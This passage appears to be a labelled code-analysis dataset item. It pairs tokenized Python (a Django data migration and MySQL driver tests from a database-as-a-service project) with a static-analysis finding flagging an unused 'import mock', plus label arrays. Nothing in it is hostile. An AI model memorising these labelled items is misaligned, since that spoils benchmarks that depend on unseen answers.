"\\u\\u\\uNL\\u\\u\\u_", "'", "error", "\\u", "csv", "\\u", "filename", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "1023", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "model", "\\u", "path", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "500", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "row", "\\u", "count", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Posi", "tiv", "e", "Integer", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "0", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "shard", "\\u", "count", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Posi", "tiv", "e", "Integer", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "0", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "shard", "s", "\\u", "error", "\\u", "csv", "\\u", "writt", "en", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Fal", "se", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "shard", "s", "\\u", "process", "ed", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Posi", "tiv", "e", "Integer", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "0", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "source", "\\u", "data", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "files", ".", "File", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "1023", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "\"'", "pend", "ing", "'\"_", ",_", "'", "max", "\\u", "length", "'_", ":_", "'", "32", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "complete", "\\u", "apps_", "=_", "[_", "'", "osm", "osi", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "symmetric", "al_", "=_", "True_", "[SEP]_", "class_", "Migration_", "(_", "Data", "Migration_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "forwards_", "(_", "self_", ",_", "orm_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"", "Write", " ", "your", " ", "forward", "s", " ", "method", "s", " ", "here", ".\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Not", "e", ":", " ", "Don", "'", "t", " ", "use", " ", "\"", "from", " ", "app", "name", ".", "model", "s", " ", "import", " ", "Model", "Name", "\".", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Us", "e", " ", "orm", ".", "Model", "Name", " ", "to", " ", "refer", " ", "to", " ", "model", "s", " ", "in", " ", "this", " ", "applica", "tion", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "and", " ", "orm", "['", "app", "name", ".", "Model", "Name", "']", " ", "for", " ", "model", "s", " ", "in", " ", "other", " ", "applica", "tion", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Copy", " ", "task", "\\u", "pk", " ", "to", " ", "task", "\\u", "id", " ", "field", ",", " ", "bef", "ore", " ", "we", " ", "delete", " ", "task", "\\u", "pk_", "\\u\\u\\uNL\\u\\u\\u_", "shards_", "=_", "orm_", "[_", "'", "osm", "osi", "s", ".", "Import", "Shard", "'_", "]_", "._", "objects_", "._", "all_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "shard_", "in_", "shards_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "shard_", "._", "task", "\\u", "id_", "=_", "shard_", "._", "task", "\\u", "pk_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "shard_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Migration_", "(_", "Data", "Migration_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "backwards_", "(_", "self_", ",_", "orm_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"", "Write", " ", "your", " ", "back", "ward", "s", " ", "method", "s", " ", "here", ".\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
globocom/database-as-a-service/dbaas/drivers/tests/test_driver_mysql.py
[ { "content": "# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import, unicode_literals\nimport mock\nimport logging\nfrom django.test import TestCase\nfrom drivers import DriverFactory\nfrom physical.tests import factory as factory_physical\nfrom logical.tests import factory as factory_logical\nfrom logical.models import Database\nfrom ..mysqldb import MySQL\nfrom django.conf import settings\n\nLOG = logging.getLogger(__name__)\n\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class AbstractTestDriverMysql(TestCase):\n\n\n", "metadata": "root.AbstractTestDriverMysql", "header": "['module', '___EOS___']", "index": 15 }, { "content": " def setUp(self):\n self.databaseinfra = factory_physical.DatabaseInfraFactory(\n user=\"root\", password=settings.DB_PASSWORD, endpoint=\"127.0.0.1:3306\")\n self.instance = factory_physical.InstanceFactory(\n databaseinfra=self.databaseinfra, port=3306)\n self.driver = MySQL(databaseinfra=self.databaseinfra)\n self._mysql_client = None", "metadata": "root.AbstractTestDriverMysql.setUp", "header": "['class', 'AbstractTestDriverMysql', '(', 'TestCase', ')', ':', '___EOS___']", "index": 17 }, { "content": " def tearDown(self):\n if not Database.objects.filter(databaseinfra_id=self.databaseinfra.id):\n self.databaseinfra.delete()\n if self._mysql_client:\n self._mysql_client.close()\n self.driver = self.databaseinfra = self._mysql_client = None", "metadata": "root.AbstractTestDriverMysql.tearDown", "header": "['class', 'AbstractTestDriverMysql', '(', 'TestCase', ')', ':', '___EOS___']", "index": 25 }, { "content": " @property\n def mysql_client(self):\n if self._mysql_client is None:\n self._mysql_client = self.driver.__mysql_client__(self.instance)\n return self._mysql_client", "metadata": "root.AbstractTestDriverMysql.mysql_client", "header": "['class', 'AbstractTestDriverMysql', '(', 'TestCase', ')', ':', '___EOS___']", "index": 32 }, { "content": "class MySQLEngineTestCase(AbstractTestDriverMysql):\n\n \"\"\"\n Tests MySQL Engine\n \"\"\"\n\n\n # test mysql methods\n\n\n\n\n", "metadata": "root.MySQLEngineTestCase", "header": "['module', '___EOS___']", "index": 39 }, { "content": " def test_mysqldb_app_installed(self):\n self.assertTrue(DriverFactory.is_driver_available(\"mysqldb\"))", "metadata": "root.MySQLEngineTestCase.test_mysqldb_app_installed", "header": "['class', 'MySQLEngineTestCase', '(', 'AbstractTestDriverMysql', ')', ':', '___EOS___']", "index": 45 }, { "content": " def test_instantiate_mysqldb_using_engine_factory(self):\n self.assertEqual(MySQL, type(self.driver))\n self.assertEqual(self.databaseinfra, self.driver.databaseinfra)", "metadata": "root.MySQLEngineTestCase.test_instantiate_mysqldb_using_engine_factory", "header": "['class', 'MySQLEngineTestCase', '(', 'AbstractTestDriverMysql', ')', ':', '___EOS___']", "index": 49 }, { "content": " def test_connection_string(self):\n self.assertEqual(\n \"mysql://<user>:<password>@127.0.0.1:3306\", self.driver.get_connection())", "metadata": "root.MySQLEngineTestCase.test_connection_string", "header": "['class', 'MySQLEngineTestCase', '(', 'AbstractTestDriverMysql', ')', ':', '___EOS___']", "index": 53 }, { "content": " def test_get_user(self):\n self.assertEqual(self.databaseinfra.user, self.driver.get_user())", "metadata": "root.MySQLEngineTestCase.test_get_user", "header": "['class', 'MySQLEngineTestCase', '(', 'AbstractTestDriverMysql', ')', ':', '___EOS___']", "index": 57 }, { "content": " def test_get_password(self):\n self.assertEqual(\n self.databaseinfra.password, self.driver.get_password())", "metadata": "root.MySQLEngineTestCase.test_get_password", "header": "['class', 'MySQLEngineTestCase', '(', 'AbstractTestDriverMysql', ')', ':', '___EOS___']", "index": 60 }, { "content": " def test_get_default_port(self):\n self.assertEqual(3306, self.driver.default_port)", "metadata": "root.MySQLEngineTestCase.test_get_default_port", "header": "['class', 'MySQLEngineTestCase', '(', 'AbstractTestDriverMysql', ')', ':', '___EOS___']", "index": 64 }, { "content": " def test_connection_with_database(self):\n self.database = factory_logical.DatabaseFactory(\n name=\"my_db_url_name\", databaseinfra=self.databaseinfra)\n self.assertEqual(\"mysql://<user>:<password>@127.0.0.1:3306/my_db_url_name\",\n self.driver.get_connection(database=self.database))", "metadata": "root.MySQLEngineTestCase.test_connection_with_database", "header": "['class', 'MySQLEngineTestCase', '(', 'AbstractTestDriverMysql', ')', ':', '___EOS___']", "index": 67 }, { "content": "class ManageDatabaseMySQLTestCase(AbstractTestDriverMysql):\n\n \"\"\" Test case to managing database in mysql engine \"\"\"\n\n\n", "metadata": "root.ManageDatabaseMySQLTestCase", "header": "['module', '___EOS___']", "index": 74 }, { "content": " def setUp(self):\n super(ManageDatabaseMySQLTestCase, self).setUp()\n self.database = factory_logical.DatabaseFactory(\n databaseinfra=self.databaseinfra)\n # ensure database is dropped\n # get fake driver\n driver = self.databaseinfra.get_driver()\n driver.remove_database(self.database)", "metadata": "root.ManageDatabaseMySQLTestCase.setUp", "header": "['class', 'ManageDatabaseMySQLTestCase', '(', 'AbstractTestDriverMysql', ')', ':', '___EOS___']", "index": 78 }, { "content": " def tearDown(self):\n if not Database.objects.filter(databaseinfra_id=self.databaseinfra.id):\n self.database.delete()\n super(ManageDatabaseMySQLTestCase, self).tearDown()", "metadata": "root.ManageDatabaseMySQLTestCase.tearDown", "header": "['class', 'ManageDatabaseMySQLTestCase', '(', 'AbstractTestDriverMysql', ')', ':', '___EOS___']", "index": 87 }, { "content": " def test_mysqldb_create_and_drop_database(self):\n LOG.debug(\"mysql_client: %s\" % type(self.mysql_client))\n # ensures database is removed\n try:\n self.driver.remove_database(self.database)\n except:\n pass\n self.assertFalse(self.database.name in self.driver.list_databases())\n self.driver.create_database(self.database)\n self.assertTrue(self.database.name in self.driver.list_databases())\n\n # drop database\n self.driver.remove_database(self.database)\n self.assertFalse(self.database.name in self.driver.list_databases())", "metadata": "root.ManageDatabaseMySQLTestCase.test_mysqldb_create_and_drop_database", "header": "['class', 'ManageDatabaseMySQLTestCase', '(', 'AbstractTestDriverMysql', ')', ':', '___EOS___']", "index": 92 }, { "content": "class ManageCredentialsMySQLTestCase(AbstractTestDriverMysql):\n\n \"\"\" Test case to managing credentials in mysqldb engine \"\"\"\n\n\n", "metadata": "root.ManageCredentialsMySQLTestCase", "header": "['module', '___EOS___']", "index": 108 }, { "content": " def setUp(self):\n super(ManageCredentialsMySQLTestCase, self).setUp()\n self.database = factory_logical.DatabaseFactory(\n databaseinfra=self.databaseinfra, name=\"test_mysql_credential\")\n # ensures database doest not exists\n try:\n self.driver.remove_database(self.database)\n except:\n pass\n self.credential = factory_logical.CredentialFactory(\n database=self.database)\n self.driver.create_database(self.database)", "metadata": "root.ManageCredentialsMySQLTestCase.setUp", "header": "['class', 'ManageCredentialsMySQLTestCase', '(', 'AbstractTestDriverMysql', ')', ':', '___EOS___']", "index": 112 }, { "content": " def tearDown(self):\n self.driver.remove_database(self.database)\n self.credential.delete()\n self.database.delete()\n super(ManageCredentialsMySQLTestCase, self).tearDown()", "metadata": "root.ManageCredentialsMySQLTestCase.tearDown", "header": "['class', 'ManageCredentialsMySQLTestCase', '(', 'AbstractTestDriverMysql', ')', ':', '___EOS___']", "index": 125 }, { "content": " def test_mysqldb_create__and_remove_credential(self):\n self.assertFalse(self.credential.user in self.driver.list_users())\n self.driver.create_user(self.credential)\n self.assertTrue(self.credential.user in self.driver.list_users())\n self.driver.remove_user(self.credential)\n self.assertFalse(self.credential.user in self.driver.list_users())", "metadata": "root.ManageCredentialsMySQLTestCase.test_mysqldb_create__and_remove_credential", "header": "['class', 'ManageCredentialsMySQLTestCase', '(', 'AbstractTestDriverMysql', ')', ':', '___EOS___']", "index": 131 } ]
[ { "span": "import mock", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 11 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "\\u\\u", "future\\u\\u_", "import_", "abs", "olute", "\\u", "import_", ",_", "unicode", "\\u", "literals_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "mock_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "test_", "import_", "Test", "Case_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "drivers_", "import_", "Drive", "r", "Factory_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "physical", "_", "._", "tests_", "import_", "factory_", "as_", "factor", "y", "\\u", "physical", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "logical", "_", "._", "tests_", "import_", "factory_", "as_", "factor", "y", "\\u", "logical", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "logical", "_", "._", "models_", "import_", "Database_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "._", "._", "mysql", "db_", "import_", "My", "SQL_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "conf_", "import_", "settings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "LOG_", "=_", "logging_", "._", "get", "Logger_", "(_", "\\u\\u", "name\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Abstract", "Test", "Drive", "r", "Mys", "ql_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Abstract", "Test", "Drive", "r", "Mys", "ql_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "set", "Up_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "databa", "sei", "nfra", "_", "=_", "factor", "y", "\\u", "physical", "_", "._", "Databa", "se", "Infra", "Factory_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "user_", "=_", "\"", "root", "\"_", ",_", "password_", "=_", "settings_", "._", "DB", "\\u", "PASSWORD_", ",_", "endpoint_", "=_", "\"", "127", ".0", ".0", ".1", ":", "3306", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "instance_", "=_", "factor", "y", "\\u", "physical", "_", "._", "Insta", "nce", "Factory_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "databa", "sei", "nfra", "_", "=_", "self_", "._", "databa", "sei", "nfra", "_", ",_", "port_", "=_", "3306", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "driver_", "=_", "My", "SQL_", "(_", "databa", "sei", "nfra", "_", "=_", "self_", "._", "databa", "sei", "nfra", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "mysql", "\\u", "client_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Abstract", "Test", "Drive", "r", "Mys", "ql_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "tear", "Down_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "Database_", "._", "objects_", "._", "filter_", "(_", "databa", "sei", "nfra", "\\u", "id_", "=_", "self_", "._", "databa", "sei", "nfra", "_", "._", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "databa", "sei", "nfra", "_", "._", "delete_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "\\u", "mysql", "\\u", "client_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "mysql", "\\u", "client_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "driver_", "=_", "self_", "._", "databa", "sei", "nfra", "_", "=_", "self_", "._", "\\u", "mysql", "\\u", "client_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Abstract", "Test", "Drive", "r", "Mys", "ql_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "mysql", "\\u", "client_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "\\u", "mysql", "\\u", "client_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "mysql", "\\u", "client_", "=_", "self_", "._", "driver_", "._", "\\u\\u", "mysql", "\\u", "client", "\\u\\u_", "(_", "self_", "._", "instance_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "self_", "._", "\\u", "mysql", "\\u", "client_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "My", "SQL", "Engine", "Test", "Case_", "(_", "Abstract", "Test", "Drive", "r", "Mys", "ql_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", "s", " ", "My", "SQL", " ", "Engine", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "test", " ", "mysql", " ", "methods_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "My", "SQL", "Engine", "Test", "Case_", "(_", "Abstract", "Test", "Drive", "r", "Mys", "ql_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "test\\u", "mysql", "db", "\\u", "app", "\\u", "installed_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "Drive", "r", "Factory_", "._", "is", "\\u", "driver", "\\u", "available_", "(_", "\"", "mysql", "db", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "My", "SQL", "Engine", "Test", "Case_", "(_", "Abstract", "Test", "Drive", "r", "Mys", "ql_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "instantiate", "\\u", "mysql", "db", "\\u", "usi", "ng", "\\u", "eng", "ine", "\\u", "factory_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equal_", "(_", "My", "SQL_", ",_", "type_", "(_", "self_", "._", "driver_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "self_", "._", "databa", "sei", "nfra", "_", ",_", "self_", "._", "driver_", "._", "databa", "sei", "nfra", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "My", "SQL", "Engine", "Test", "Case_", "(_", "Abstract", "Test", "Drive", "r", "Mys", "ql_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "connecti", "on", "\\u", "string_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equal_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "mysql", "://", "<", "user", ">:", "<", "password", ">", "@", "127", ".0", ".0", ".1", ":", "3306", "\"_", ",_", "self_", "._", "driver_", "._", "get", "\\u", "connection_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "My", "SQL", "Engine", "Test", "Case_", "(_", "Abstract", "Test", "Drive", "r", "Mys", "ql_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "user_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equal_", "(_", "self_", "._", "databa", "sei", "nfra", "_", "._", "user_", ",_", "self_", "._", "driver_", "._", "get", "\\u", "user_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "My", "SQL", "Engine", "Test", "Case_", "(_", "Abstract", "Test", "Drive", "r", "Mys", "ql_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "password_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equal_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "databa", "sei", "nfra", "_", "._", "password_", ",_", "self_", "._", "driver_", "._", "get", "\\u", "password_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "My", "SQL", "Engine", "Test", "Case_", "(_", "Abstract", "Test", "Drive", "r", "Mys", "ql_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "default", "\\u", "port_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equal_", "(_", "3306", "_", ",_", "self_", "._", "driver_", "._", "default", "\\u", "port_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "My", "SQL", "Engine", "Test", "Case_", "(_", "Abstract", "Test", "Drive", "r", "Mys", "ql_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "connecti", "on", "\\u", "with", "\\u", "database_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "database_", "=_", "factor", "y", "\\u", "logical", "_", "._", "Databa", "se", "Factory_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "name_", "=_", "\"", "my", "\\u", "db", "\\u", "url", "\\u", "name", "\"_", ",_", "databa", "sei", "nfra", "_", "=_", "self_", "._", "databa", "sei", "nfra", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "\"", "mysql", "://", "<", "user", 